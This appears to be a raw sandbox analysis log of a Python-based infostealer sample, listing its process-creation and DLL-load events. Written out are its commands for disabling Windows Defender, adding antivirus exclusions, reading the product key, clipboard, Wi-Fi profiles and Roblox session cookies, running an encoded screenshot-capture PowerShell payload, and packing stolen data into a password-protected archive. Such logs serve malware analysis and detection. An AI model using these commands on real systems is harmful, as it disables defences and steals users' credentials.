Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3733.tmp" "c:\Users\user\AppData\Local\Temp\c3m2uwl3\CSC33F8CF1FA9DB4434A25723BA384E2070.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Section loaded: mmdevapi.dll	Jump to behavior
